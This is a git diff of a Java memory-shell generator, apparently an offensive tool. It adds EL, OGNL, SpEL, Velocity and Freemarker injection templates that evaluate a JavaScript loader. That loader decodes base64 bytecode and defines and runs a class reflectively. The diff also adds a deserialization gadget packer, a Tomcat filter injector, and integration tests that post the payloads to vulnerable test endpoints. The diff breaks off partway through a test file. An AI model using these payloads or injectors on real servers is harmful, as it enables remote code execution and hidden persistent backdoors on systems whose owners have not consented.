diff --git a/build.gradle b/build.gradle index b6711f5f..d5f7824b 100644 --- a/build.gradle +++ b/build.gradle @@ -11,6 +11,7 @@ allprojects { idea { module { excludeDirs -= file('build') + excludeDirs += file('src') } } diff --git a/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java b/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java index 828dc62e..15e05725 100644 --- a/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java +++ b/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java @@ -1,13 +1,10 @@ package com.reajason.javaweb; import com.reajason.javaweb.config.*; -import com.reajason.javaweb.memsell.glassfish.GlassFishShell; -import com.reajason.javaweb.memsell.jboss.JbossShell; -import com.reajason.javaweb.memsell.jetty.JettyShell; +import com.reajason.javaweb.memsell.AbstractShell; import com.reajason.javaweb.memsell.packer.Packer; -import com.reajason.javaweb.memsell.tomcat.TomcatShell; -import com.reajason.javaweb.memsell.undertow.UndertowShell; import lombok.SneakyThrows; +import net.bytebuddy.jar.asm.Opcodes; import org.apache.commons.codec.binary.Base64; import java.io.IOException; @@ -20,11 +17,6 @@ import java.nio.file.StandardOpenOption; * @since 2024/11/24 */ public class GeneratorMain { - static TomcatShell tomcatShell = new TomcatShell(); - static JettyShell jettyShell = new JettyShell(); - static JbossShell jbossAsShell = new JbossShell(); - static UndertowShell undertowShell = new UndertowShell(); - static GlassFishShell glassFishShell = new GlassFishShell(); public static void main(String[] args) throws IOException { ShellConfig shellConfig = ShellConfig.builder() @@ -48,23 +40,12 @@ public class GeneratorMain { } public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) { - switch (shellConfig.getServer()) { - case TOMCAT: - return tomcatShell.generate(shellConfig, injectorConfig, shellToolConfig); - case JETTY: - return jettyShell.generate(shellConfig, injectorConfig, shellToolConfig); - case JBOSS: - return jbossAsShell.generate(shellConfig, injectorConfig, shellToolConfig); - case UNDERTOW: - return undertowShell.generate(shellConfig, injectorConfig, shellToolConfig); - case GLASSFISH: - return glassFishShell.generate(shellConfig, injectorConfig, shellToolConfig); - case RESIN: - break; - default: - throw new IllegalArgumentException("Unsupported server"); + Server server = shellConfig.getServer(); + AbstractShell shell = server.getShell(); + if (shell == null) { + throw new IllegalArgumentException("Unsupported server"); } - return null; + return shell.generate(shellConfig, injectorConfig, shellToolConfig); } @SneakyThrows diff --git a/generator/src/main/java/com/reajason/javaweb/config/Server.java b/generator/src/main/java/com/reajason/javaweb/config/Server.java index 9701aec5..cb1b16de 100644 --- a/generator/src/main/java/com/reajason/javaweb/config/Server.java +++ b/generator/src/main/java/com/reajason/javaweb/config/Server.java @@ -1,70 +1,87 @@ package com.reajason.javaweb.config; +import com.reajason.javaweb.memsell.AbstractShell; +import com.reajason.javaweb.memsell.glassfish.GlassFishShell; +import com.reajason.javaweb.memsell.jboss.JbossShell; +import com.reajason.javaweb.memsell.jetty.JettyShell; +import com.reajason.javaweb.memsell.resin.ResinShell; +import com.reajason.javaweb.memsell.tomcat.TomcatShell; +import com.reajason.javaweb.memsell.undertow.UndertowShell; +import lombok.Getter; + /** * @author ReaJason * @since 2024/11/22 */ +@Getter public enum Server { /** * Tomcat 中间件 */ - TOMCAT, + Tomcat(new TomcatShell()), /** * Jetty 中间件 */ - JETTY, + Jetty(new JettyShell()), /** * JBoss AS 中间件, JBoss 6.4-EAP 也使用的当前方式 JBoss AS */ - JBOSS, + JBoss(new JbossShell()), /** * Undertow,对应是 Wildfly 以及 JBoss EAP,也有可能是 SpringBoot 用的 * JBossEAP */ - UNDERTOW, + Undertow(new UndertowShell()), /** * SpringMVC 框架 */ - SPRING_MVC, + SpringMVC(null), /** * Spring Webflux 框架 */ - SPRING_WEBFLUX, + SpringWebflux(null), /** * WebSphere 中间件 */ - WEBSPHERE, + WebSphere(null), /** * WebLogic 中间件 */ - WEBLOGIC, + WebLogic(null), /** - * Resin 中间件 + * Resin 中间件, Resin */ - RESIN, + Resin(new ResinShell()), /** - * Glassfish 中间件 + * GlassFish 中间件 */ - GLASSFISH, + GlassFish(new GlassFishShell()), /** * 宝兰德中间件 */ - BES, + Bes(null), /** * 东方通中间件 */ - TONGWEB, + Tongweb(null), /** * 金蝶天燕中间件 */ - APUSIC + Apusic(null), + ; + + private final AbstractShell shell; + + Server(AbstractShell shell) { + this.shell = shell; + } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/AbstractShell.java b/generator/src/main/java/com/reajason/javaweb/memsell/AbstractShell.java index 3718e4f6..369da1ab 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/AbstractShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/AbstractShell.java @@ -53,6 +53,9 @@ public abstract class AbstractShell { public GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) { Pair, Class> shellInjectorPair = getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType()); + if (shellInjectorPair == null) { + throw new UnsupportedOperationException("Unknown shell type: " + shellConfig.getShellType()); + } Class shellClass = shellInjectorPair.getLeft(); Class injectorClass = shellInjectorPair.getRight(); diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/DeserializePacker.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/DeserializePacker.java index b6f79df3..03c0529e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/packer/DeserializePacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/DeserializePacker.java @@ -1,31 +1,32 @@ package com.reajason.javaweb.memsell.packer; import com.reajason.javaweb.config.GenerateResult; -import com.reajason.javaweb.deserialize.CommonsBeanutils19; +import com.reajason.javaweb.deserialize.DeserializeConfig; +import com.reajason.javaweb.deserialize.DeserializeGenerator; +import com.reajason.javaweb.deserialize.PayloadType; import lombok.SneakyThrows; -import java.io.ByteArrayOutputStream; -import java.io.ObjectOutputStream; +import java.util.Map; /** * @author ReaJason * @since 2024/12/10 */ public class DeserializePacker implements Packer { - @SneakyThrows - public static byte[] serialize(Object obj) { - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - ObjectOutputStream oos = new ObjectOutputStream(baos); - oos.writeObject(obj); - oos.flush(); - oos.close(); - return baos.toByteArray(); - } @Override @SneakyThrows public byte[] pack(GenerateResult generateResult) { - Object payload = CommonsBeanutils19.getPayload(generateResult.getInjectorBytes()); - return serialize(payload); + DeserializeConfig deserializeConfig = new DeserializeConfig(); + deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils19); + return DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig); + } + + @Override + public byte[] pack(GenerateResult generateResult, Map config) { + String payloadType = (String) config.get("payloadType"); + DeserializeConfig deserializeConfig = new DeserializeConfig(); + deserializeConfig.setPayloadType(PayloadType.getPayloadType(payloadType)); + return DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig); } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/ELPacker.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/ELPacker.java new file mode 100644 index 00000000..f955b3e4 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/ELPacker.java @@ -0,0 +1,31 @@ +package com.reajason.javaweb.memsell.packer; + +import com.reajason.javaweb.config.GenerateResult; +import org.apache.commons.io.IOUtils; + +import java.io.IOException; +import java.nio.charset.Charset; +import java.util.Objects; + +/** + * @author ReaJason + * @since 2024/12/13 + */ +public class ELPacker implements Packer { + ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker(); + String template = ""; + + public ELPacker() { + try { + template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/ELScriptEngine.txt")), Charset.defaultCharset()); + } catch (IOException ignored) { + + } + } + + @Override + public byte[] pack(GenerateResult generateResult) { + byte[] scriptBytes = scriptEnginePacker.pack(generateResult); + return template.replace("{{script}}", new String(scriptBytes)).getBytes(); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/FreemarkerPacker.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/FreemarkerPacker.java new file mode 100644 index 00000000..565ab040 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/FreemarkerPacker.java @@ -0,0 +1,31 @@ +package com.reajason.javaweb.memsell.packer; + +import com.reajason.javaweb.config.GenerateResult; +import org.apache.commons.io.IOUtils; + +import java.io.IOException; +import java.nio.charset.Charset; +import java.util.Objects; + +/** + * @author ReaJason + * @since 2024/12/13 + */ +public class FreemarkerPacker implements Packer { + ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker(); + String template = ""; + + public FreemarkerPacker() { + try { + template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/FreemarkerScriptEngine.txt")), Charset.defaultCharset()); + } catch (IOException ignored) { + + } + } + + @Override + public byte[] pack(GenerateResult generateResult) { + byte[] scriptBytes = scriptEnginePacker.pack(generateResult); + return template.replace("{{script}}", new String(scriptBytes)).getBytes(); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/JspPacker.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/JspPacker.java index f2995284..8de14e35 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/packer/JspPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/JspPacker.java @@ -13,12 +13,22 @@ import java.util.Objects; */ public class JspPacker implements Packer { + String jspTemplate = null; + + public JspPacker() { + try { + jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset()); + } catch (Exception ignored) { + + } + } + + @Override @SneakyThrows public byte[] pack(GenerateResult generateResult) { String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str(); String injectorClassName = generateResult.getInjectorClassName(); - String jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset()); return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str).getBytes(); } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/OgnlPacker.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/OgnlPacker.java new file mode 100644 index 00000000..9024acb2 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/OgnlPacker.java @@ -0,0 +1,31 @@ +package com.reajason.javaweb.memsell.packer; + +import com.reajason.javaweb.config.GenerateResult; +import org.apache.commons.io.IOUtils; + +import java.io.IOException; +import java.nio.charset.Charset; +import java.util.Objects; + +/** + * @author ReaJason + * @since 2024/12/14 + */ +public class OgnlPacker implements Packer { + ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker(); + String template = ""; + + public OgnlPacker() { + try { + template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/OgnlScriptEngine.txt")), Charset.defaultCharset()); + } catch (IOException ignored) { + + } + } + + @Override + public byte[] pack(GenerateResult generateResult) { + byte[] scriptBytes = scriptEnginePacker.pack(generateResult); + return template.replace("{{script}}", new String(scriptBytes)).getBytes(); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/Packer.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/Packer.java index d294076b..49ece892 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/packer/Packer.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/Packer.java @@ -26,7 +26,7 @@ public interface Packer { * @param config 配置 * @return 字节数组 */ - default byte[] pack(GenerateResult generateResult, Map config) { + default byte[] pack(GenerateResult generateResult, Map config) { throw new UnsupportedOperationException(); } @@ -47,6 +47,19 @@ public interface Packer { * 反序列化打包器 */ Deserialize(new DeserializePacker()), + + /** + * EL + */ + EL(new ELPacker()), + + Ognl(new OgnlPacker()), + + SpEL(new SpELPacker()), + + Velocity(new VelocityPacker()), + + Freemarker(new FreemarkerPacker()), ; private final Packer packer; diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/ScriptEnginePacker.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/ScriptEnginePacker.java index e03cbc9f..bd20265b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/packer/ScriptEnginePacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/ScriptEnginePacker.java @@ -4,6 +4,7 @@ import com.reajason.javaweb.config.GenerateResult; import lombok.SneakyThrows; import org.apache.commons.io.IOUtils; +import java.io.IOException; import java.nio.charset.Charset; import java.util.Objects; @@ -12,12 +13,26 @@ import java.util.Objects; * @since 2024/12/3 */ public class ScriptEnginePacker implements Packer { + String jsTemplate = null; + + public ScriptEnginePacker() { + try { + jsTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.js")), Charset.defaultCharset()); + } catch (IOException ignored) { + + } + } + @Override @SneakyThrows public byte[] pack(GenerateResult generateResult) { String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str(); String injectorClassName = generateResult.getInjectorClassName(); - String jsTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.js")), Charset.defaultCharset()); - return jsTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str).getBytes(); + return jsTemplate.replace("{{className}}", injectorClassName) + .replace("{{base64Str}}", injectorBytesBase64Str) + .replace("\n", "") + .replaceAll("(?m)^[ \t]+|[ \t]+$", "") + .replaceAll("[ \t]{2,}", " ") + .getBytes(); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/SpELPacker.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/SpELPacker.java new file mode 100644 index 00000000..0884277a --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/SpELPacker.java @@ -0,0 +1,31 @@ +package com.reajason.javaweb.memsell.packer; + +import com.reajason.javaweb.config.GenerateResult; +import org.apache.commons.io.IOUtils; + +import java.io.IOException; +import java.nio.charset.Charset; +import java.util.Objects; + +/** + * @author ReaJason + * @since 2024/12/13 + */ +public class SpELPacker implements Packer { + ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker(); + String template = ""; + + public SpELPacker() { + try { + template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/SpELScriptEngine.txt")), Charset.defaultCharset()); + } catch (IOException ignored) { + + } + } + + @Override + public byte[] pack(GenerateResult generateResult) { + byte[] scriptBytes = scriptEnginePacker.pack(generateResult); + return template.replace("{{script}}", new String(scriptBytes)).getBytes(); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/VelocityPacker.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/VelocityPacker.java new file mode 100644 index 00000000..500f4358 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/VelocityPacker.java @@ -0,0 +1,31 @@ +package com.reajason.javaweb.memsell.packer; + +import com.reajason.javaweb.config.GenerateResult; +import org.apache.commons.io.IOUtils; + +import java.io.IOException; +import java.nio.charset.Charset; +import java.util.Objects; + +/** + * @author ReaJason + * @since 2024/12/13 + */ +public class VelocityPacker implements Packer { + ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker(); + String template = ""; + + public VelocityPacker() { + try { + template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/VelocityScriptEngine.txt")), Charset.defaultCharset()); + } catch (IOException ignored) { + + } + } + + @Override + public byte[] pack(GenerateResult generateResult) { + byte[] scriptBytes = scriptEnginePacker.pack(generateResult); + return template.replace("{{script}}", new String(scriptBytes)).getBytes(); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjector.java index bb41af3c..0eec1049 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjector.java @@ -32,7 +32,9 @@ public class TomcatFilterInjector { Object filter = getFilter(context); addFilter(context, filter); } - } catch (Exception ignored) { + } catch (Exception e) { + System.out.println("filter inject get context error"); + e.printStackTrace(); } } @@ -213,6 +215,7 @@ public class TomcatFilterInjector { // 防止重复注入 try { if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterClassName}) != null) { + System.out.println("filter alread injected"); return; } } catch (Exception ignored) { @@ -254,7 +257,7 @@ public class TomcatFilterInjector { } catch (Exception e) { invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); } - + System.out.println("filter inject success"); constructors[0].setAccessible(true); try { Object filterConfig = constructors[0].newInstance(context, filterDef); diff --git a/generator/src/main/resources/ELScriptEngine.txt b/generator/src/main/resources/ELScriptEngine.txt new file mode 100644 index 00000000..91359ca1 --- /dev/null +++ b/generator/src/main/resources/ELScriptEngine.txt @@ -0,0 +1 @@ +"".getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('{{script}}') \ No newline at end of file diff --git a/generator/src/main/resources/FreemarkerScriptEngine.txt b/generator/src/main/resources/FreemarkerScriptEngine.txt new file mode 100644 index 00000000..19007bc1 --- /dev/null +++ b/generator/src/main/resources/FreemarkerScriptEngine.txt @@ -0,0 +1 @@ +${'freemarker.template.utility.ObjectConstructor'?new()('javax.script.ScriptEngineManager').getEngineByName('js').eval('{{script}}')} \ No newline at end of file diff --git a/generator/src/main/resources/OgnlScriptEngine.txt b/generator/src/main/resources/OgnlScriptEngine.txt new file mode 100644 index 00000000..3672f6d8 --- /dev/null +++ b/generator/src/main/resources/OgnlScriptEngine.txt @@ -0,0 +1 @@ +(new javax.script.ScriptEngineManager()).getEngineByName('js').eval('{{script}}') \ No newline at end of file diff --git a/generator/src/main/resources/SpELScriptEngine.txt b/generator/src/main/resources/SpELScriptEngine.txt new file mode 100644 index 00000000..f9e45dd1 --- /dev/null +++ b/generator/src/main/resources/SpELScriptEngine.txt @@ -0,0 +1 @@ +T(javax.script.ScriptEngineManager).newInstance().getEngineByName("js").eval('{{script}}') \ No newline at end of file diff --git a/generator/src/main/resources/VelocityScriptEngine.txt b/generator/src/main/resources/VelocityScriptEngine.txt new file mode 100644 index 00000000..2965cf13 --- /dev/null +++ b/generator/src/main/resources/VelocityScriptEngine.txt @@ -0,0 +1 @@ +#set($x='') #set($cz = $x.class.forName('javax.script.ScriptEngineManager')) $cz.getDeclaredConstructor(null).newInstance().getEngineByName('js').eval('{{script}}') \ No newline at end of file diff --git a/generator/src/main/resources/shell.js b/generator/src/main/resources/shell.js index 83bf9f9e..40c1df97 100644 --- a/generator/src/main/resources/shell.js +++ b/generator/src/main/resources/shell.js @@ -4,7 +4,7 @@ var base64Str = "{{base64Str}}"; try { classLoader.loadClass(className).newInstance(); } catch (e) { - var clsString = classLoader.loadClass('java.lang.String'); + var clsString = classLoader.loadClass("java.lang.String"); var bytecode; try { var clsBase64 = classLoader.loadClass("java.util.Base64"); @@ -12,14 +12,19 @@ try { var decoder = clsBase64.getMethod("getDecoder").invoke(base64Clz); bytecode = clsDecoder.getMethod("decode", clsString).invoke(decoder, base64Str); } catch (ee) { - var datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter"); - bytecode = datatypeConverterClz.getMethod("parseBase64Binary", clsString).invoke(datatypeConverterClz, base64Str); + try { + var datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter"); + bytecode = datatypeConverterClz.getMethod("parseBase64Binary", clsString).invoke(datatypeConverterClz, base64Str); + } catch (eee) { + var clazz1 = classLoader.loadClass("sun.misc.BASE64Decoder"); + bytecode = clazz1.newInstance().decodeBuffer(base64Str); + } } - var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader'); - var clsByteArray = Java.type('byte[]').class; + var clsClassLoader = classLoader.loadClass("java.lang.ClassLoader"); + var clsByteArray = (new java.lang.String("a").getBytes().getClass()); var clsInt = java.lang.Integer.TYPE; - var defineClass = clsClassLoader.getDeclaredMethod("defineClass", clsByteArray, clsInt, clsInt); + var defineClass = clsClassLoader.getDeclaredMethod("defineClass", [clsByteArray, clsInt, clsInt]); defineClass.setAccessible(true); - var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length); + var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length)); clazz.newInstance(); } \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/packer/FreemarkerPackerTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/packer/FreemarkerPackerTest.java new file mode 100644 index 00000000..7a311d77 --- /dev/null +++ b/generator/src/test/java/com/reajason/javaweb/memsell/packer/FreemarkerPackerTest.java @@ -0,0 +1,25 @@ +package com.reajason.javaweb.memsell.packer; + +import com.reajason.javaweb.config.GenerateResult; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * @author ReaJason + * @since 2024/12/14 + */ +class FreemarkerPackerTest { + FreemarkerPacker packer = new FreemarkerPacker(); + + @Test + void test() { + GenerateResult generateResult = GenerateResult.builder() + .injectorClassName("hehe") + .injectorBytesBase64Str("hehe").build(); + String content = new String(packer.pack(generateResult)); + System.out.println(content); + assertTrue(content.contains("var className = \"hehe\";")); + assertTrue(content.contains("var base64Str = \"hehe\";")); + } +} \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index 5b250785..945b2537 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -50,18 +50,23 @@ public class ShellAssertionTool { } public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, byte[] content, Packer.INSTANCE packer) { - if (Packer.INSTANCE.JSP.equals(packer)) { - String uploadEntry = url + "/upload"; - String filename = shellType + shellTool + ".jsp"; - String shellUrl = url + "/" + filename; - VulTool.uploadJspFileToServer(uploadEntry, filename, new String(content)); - VulTool.urlIsOk(shellUrl); - } else if (Packer.INSTANCE.ScriptEngine.equals(packer)) { - String uploadEntry = url + "/js"; - VulTool.postData(uploadEntry, new String(content)); - } else if (Packer.INSTANCE.Deserialize.equals(packer)) { - String uploadEntry = url + "/java_deserialize"; - VulTool.postData(uploadEntry, Base64.getEncoder().encodeToString(content)); + log.info(new String(content)); + switch (packer) { + case JSP -> { + String uploadEntry = url + "/upload"; + String filename = shellType + shellTool + ".jsp"; + String shellUrl = url + "/" + filename; + VulTool.uploadJspFileToServer(uploadEntry, filename, new String(content)); + VulTool.urlIsOk(shellUrl); + } + case ScriptEngine -> VulTool.postData(url + "/js", new String(content)); + case EL -> VulTool.postData(url + "/el", new String(content)); + case SpEL -> VulTool.postData(url + "/spel", new String(content)); + case Ognl -> VulTool.postData(url + "/ognl", new String(content)); + case Freemarker -> VulTool.postData(url + "/freemarker", new String(content)); + case Velocity -> VulTool.postData(url + "/velocity", new String(content)); + case Deserialize -> + VulTool.postData(url + "/java_deserialize", Base64.getEncoder().encodeToString(content)); } } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java index 9e18005e..ef6af0a2 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration; import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; import okhttp3.*; import org.junit.jupiter.api.Assertions; @@ -8,6 +9,7 @@ import org.junit.jupiter.api.Assertions; * @author ReaJason * @since 2024/11/30 */ +@Slf4j public class VulTool { @SneakyThrows @@ -33,6 +35,7 @@ public class VulTool { .url(uploadUrl).post(requestBody) .build(); try (Response response = new OkHttpClient().newCall(request).execute()) { + System.out.println(response.body().string()); Assertions.assertEquals(200, response.code()); } } @@ -47,6 +50,7 @@ public class VulTool { .url(uploadUrl).post(requestBody) .build(); try (Response response = new OkHttpClient().newCall(request).execute()) { + log.info(response.body().string()); Assertions.assertNotEquals(404, response.code()); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java index 43160d1f..500c0109 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java @@ -68,6 +68,6 @@ public class GlassFish3ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.GLASSFISH, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java index 70437325..cbaa43fd 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java @@ -68,6 +68,6 @@ public class GlassFish4ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.GLASSFISH, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java index a97a77c5..58b71c4f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java @@ -66,6 +66,6 @@ public class GlassFish501ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.GLASSFISH, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java index ab611a02..be3a3546 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java @@ -72,6 +72,6 @@ public class GlassFish510ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.GLASSFISH, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java index c74ccad4..d14fecbd 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java @@ -65,6 +65,6 @@ public class GlassFish6ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.GLASSFISH, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java index 70d29b61..9d100290 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java @@ -60,6 +60,6 @@ public class GlassFish7ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.GLASSFISH, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java index da68838f..aa34187b 100644 --- 